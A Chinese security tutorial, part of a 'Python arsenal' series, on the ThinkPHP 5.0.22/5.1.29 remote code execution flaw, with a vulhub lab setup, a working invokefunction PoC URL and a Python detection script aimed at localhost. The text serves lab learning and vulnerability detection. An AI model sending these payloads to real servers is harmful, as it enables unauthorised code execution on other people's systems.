Python武器库开发-武器库篇之Thinkphp5-5.0.22/5.1.29远程执行代码漏洞 (六十五)

Python武器库开发-武器库篇之Thinkphp5-5.0.22/5.1.29远程执行代码漏洞 (六十五)

漏洞环境搭建

这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 5-rce 漏洞举例,如果我们想要安装 5-rce 漏洞环境,可以 cd 到 5-rce ,然后输入以下命令启动靶场环境:

python 复制代码
docker-compose up -d

然后我们在浏览器输入 https://localhost:8082 就可以访问靶场环境

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞原理

ThinkPHP是一款流行的PHP开发框架,用于快速开发Web应用程序。在ThinkPHP 5.0.22和5.1.29版本中存在一个远程执行代码的漏洞,其中5.0.22版本中已经修复了这个漏洞。

该漏洞的原理是由于未正确过滤用户输入,导致攻击者可以构造恶意的请求,执行任意的PHP代码。具体来说,该漏洞涉及到ThinkPHP的路由函数中的一处代码处理逻辑,攻击者可以通过构造特定的URL请求,在路由函数中绕过正则表达式的限制,进而执行任意的PHP代码。

攻击者可以利用该漏洞来执行恶意的代码,例如删除、修改或者获取敏感数据,以及执行一些恶意操作,例如植入后门,上传恶意文件等。

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞POC

接下来我们给出ThinkPHP 5.0.23-RCE漏洞的POC,代码内容如下:

python 复制代码
http://localhost:8082/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

Thinkphp5-5.0.22/5.1.29远程执行代码漏洞POC编写

现在我们用python编写检测Thinkphp5-5.0.22/5.1.29远程执行代码漏洞的代码,内容如下:

python 复制代码
#!/usr/bin/env python

import requests
from urllib.parse import urljoin

def thinkphp5x_rce(url):
    poc = r'''/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsomewuyue'''
    payload = urljoin(url,poc)
    response = requests.get(url=payload,verify=False)
    if '31664625b85cc0cf91406a4e028ede29' in response.text:
        print('漏洞存在')
    else:
        print('漏洞不存在')

if __name__ == '__main__':
    url = 'http://localhost:8082/'
    thinkphp5x_rce(url)

POC代码详细分析

以上代码是一个Python脚本,主要用于检测ThinkPHP 5.x版本中的一个远程代码执行(RCE)漏洞。下面对代码进行详细分析:

  1. #!/usr/bin/env python:指定脚本使用的解释器为Python。

  2. import requests:导入requests模块,用于发送HTTP请求。

  3. from urllib.parse import urljoin:导入urljoin函数,用于拼接URL。

  4. def thinkphp5x_rce(url)::定义一个名为thinkphp5x_rce的函数,接受一个参数url

  5. poc =r'''/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsomewuyue''':定义一个名为poc的变量,存储一个URL路径,该路径会触发ThinkPHP5.x版本中的RCE漏洞。

  6. payload = urljoin(url,poc):使用urljoin函数拼接urlpoc,生成完整的URL。

  7. response =requests.get(url=payload,verify=False):使用requests.get发送GET请求,传递生成的完整URL作为参数,并且关闭SSL验证。

  8. if '31664625b85cc0cf91406a4e028ede29' in response.text::检查response.text中是否包含特定的字符串31664625b85cc0cf91406a4e028ede29

  9. print('漏洞存在'):如果特定字符串存在,则输出"漏洞存在"。

  10. else::如果特定字符串不存在。

  11. print('漏洞不存在'):输出"漏洞不存在"。

  12. if __name__ == '__main__'::判断当前模块是否作为主程序运行。

  13. url = 'http://localhost:8082/':定义一个名为url的变量,存储目标URL地址。

  14. thinkphp5x_rce(url):调用thinkphp5x_rce函数,并传递url作为参数。

运行效果图

如下是我们这串代码的实际运行效果图:

相关推荐
专注VB编程开发20年18 分钟前
javascript的类,ES6模块写法在VSCODE中智能提示
开发语言·javascript·vscode
安全系统学习4 小时前
网络安全之SQL RCE漏洞
安全·web安全·网络安全·渗透测试
郭庆汝5 小时前
pytorch、torchvision与python版本对应关系
人工智能·pytorch·python
2501_915921437 小时前
iOS IPA 混淆实测分析:从逆向视角验证加固效果与防护流程
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_915918417 小时前
打造可观测的 iOS CICD 流程:调试、追踪与质量保障全记录
websocket·网络协议·tcp/ip·http·网络安全·https·udp
黄雪超8 小时前
JVM——函数式语法糖:如何使用Function、Stream来编写函数式程序?
java·开发语言·jvm
ThetaarSofVenice8 小时前
对象的finalization机制Test
java·开发语言·jvm
思则变8 小时前
[Pytest] [Part 2]增加 log功能
开发语言·python·pytest
lijingguang8 小时前
在C#中根据URL下载文件并保存到本地,可以使用以下方法(推荐使用现代异步方式)
开发语言·c#
漫谈网络8 小时前
WebSocket 在前后端的完整使用流程
javascript·python·websocket